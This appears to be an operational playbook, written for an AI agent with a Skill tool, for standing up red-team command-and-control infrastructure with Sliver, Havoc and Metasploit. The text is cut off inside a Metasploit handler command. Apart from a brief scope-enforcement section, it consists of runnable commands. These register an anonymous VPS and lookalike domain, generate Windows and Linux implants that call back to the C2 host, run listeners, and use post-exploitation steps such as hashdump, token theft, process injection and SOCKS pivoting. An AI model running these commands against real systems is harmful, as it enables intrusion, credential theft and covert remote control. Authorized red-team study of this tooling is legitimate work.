| 1 | ## Cybersecurity Skills (Invoke First) |
| 2 | |
| 3 | Before setting up C2 infrastructure, invoke these skills via the Skill tool: |

| 5 | - `cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc` |

| 7 | - `cybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profiles` |

| 9 | - `cybersecurity-skills:conducting-full-scope-red-team-engagement` |
| 10 | - `cybersecurity-skills:executing-red-team-engagement-planning` |
| 11 | |
| 12 | ## Scope Enforcement |
| 13 | C2 infrastructure MUST be operated within authorized engagement scope only. |
| 14 | Document all implant deployments with: time, target, operator, session ID. |
| 15 | Disable/destroy C2 infrastructure immediately after engagement ends. |
| 16 | NEVER use C2 infrastructure for targets not in scope.txt. |
| 17 | |
| 18 | ## Infrastructure Setup |
| 19 | ```bash |
| 20 | mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs} |
| 21 | |
| 22 | # Recommended C2 infrastructure: |
| 23 | # - VPS: separate from your identity, paid with privacy-focused method |
| 24 | # - Domain: plausible corporate name registered through privacy registrar |
| 25 | # - TLS: Let's Encrypt certificate for HTTPS blending |
| 26 | # - CDN: optionally front with Cloudflare for domain fronting (verify rules) |
| 27 | |
| 28 | # Let's Encrypt certificate for C2 domain |
| 29 | certbot certonly --standalone \ |
| 30 | -d $C2_DOMAIN \ |
| 31 | --email $EMAIL \ |
| 32 | --agree-tos \ |
| 33 | --non-interactive 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log |
| 34 | |
| 35 | # Point DNS: |
| 36 | # A record: $C2_DOMAIN → $LHOST (your VPS) |
| 37 | # A record: $C2_DOMAIN → $LHOST (your VPS) |
| 38 | ``` |
| 39 | |
| 40 | ## Sliver C2 |
| 41 | ```bash |
| 42 | # Start Sliver server (on attacker/C2 host) |
| 43 | sliver-server 2>&1 & |
| 44 | |
| 45 | # Connect Sliver client |
| 46 | sliver-client 2>&1 |
| 47 | |
| 48 | # Inside Sliver console: |
| 49 | # Generate implants (mTLS = mutual TLS, most secure): |
| 50 | # generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe |
| 51 | # generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux |
| 52 | # generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe |
| 53 | |
| 54 | # HTTPS implant (blends with web traffic): |
| 55 | # generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe |
| 56 | |
| 57 | # Start listeners: |
| 58 | # mtls --lhost $LHOST --lport 8888 |
| 59 | # https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem |
| 60 | |
| 61 | # Session management: |
| 62 | # sessions → list active sessions |
| 63 | # sessions -i $SESSION_ID → interact with session |
| 64 | # use $SESSION_ID → select session |
| 65 | |
| 66 | # Common Sliver commands (within session): |
| 67 | # info → target info |
| 68 | # whoami → current user |
| 69 | # shell → interactive shell |
| 70 | # upload /local/file /remote/path |
| 71 | # download /remote/path /local/dest |
| 72 | # ps → process list |
| 73 | # execute --output whoami |
| 74 | # socks5 start --host 127.0.0.1 --port 1080 → SOCKS proxy |
| 75 | # portfwd add --remote 3389 --local 13389 → port forward |
| 76 | # armory install all → install extensions (hashdump, etc.) |
| 77 | # hashdump → dump local hashes |
| 78 | # screenshot → capture screen |
| 79 | ``` |
| 80 | |
| 81 | ## Havoc C2 |
| 82 | ```bash |
| 83 | # Havoc is an open-source C2 with malleable profiles (similar to Cobalt Strike) |
| 84 | |
| 85 | # Start Havoc server with profile |
| 86 | ./havoc server \ |
| 87 | --profile ./profiles/havoc.yaotl \ |
| 88 | --verbose 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/havoc_server.log & |
| 89 | |
| 90 | # Connect Havoc client (GUI) |
| 91 | ./havoc client 2>&1 & |
| 92 | |
| 93 | # Profile configuration (havoc.yaotl): |
| 94 | # Listeners: HTTP/HTTPS with custom headers, user-agents, URIs |
| 95 | # Agents: Sleep timers, jitter, memory-safe options |
| 96 | # Staging: SMB peer-to-peer for internal pivot |
| 97 | |
| 98 | # From Havoc team server GUI: |
| 99 | # 1. Operators → Add Operator |
| 100 | # 2. Listeners → Add → HTTP or HTTPS |
| 101 | # 3. Payloads → Generate → Demon (Windows) |
| 102 | # - Format: PE, Shellcode, or DLL |
| 103 | # - Sleep: 60s, Jitter: 30% |
| 104 | # - Indirect syscalls: enabled |
| 105 | # 4. Session interaction via click on agent in UI |
| 106 | |
| 107 | # Havoc demon shell commands: |
| 108 | # shell whoami |
| 109 | # ps → process list |
| 110 | # inject $PID $shellcode_file |
| 111 | # token steal $PID |
| 112 | # hashdump → SAM dump |
| 113 | # upload/download |
| 114 | ``` |
| 115 | |
| 116 | ## Metasploit Multi/Handler |
| 117 | ```bash |
| 118 | # Start persistent listener (handles multiple sessions) |
| 119 | msfconsole -q -x " |
| 120 | use exploit/multi/handler; |
| 121 | set PAYLOAD $PAYLOAD; |
| 122 | set LHOST $LHOST; |
| 123 | set LPORT $LPORT; |
| 124 | set ExitOnSession false; |
| 125 | set EnableStageEncoding true; |
| 126 | set StageEncoder x64 |
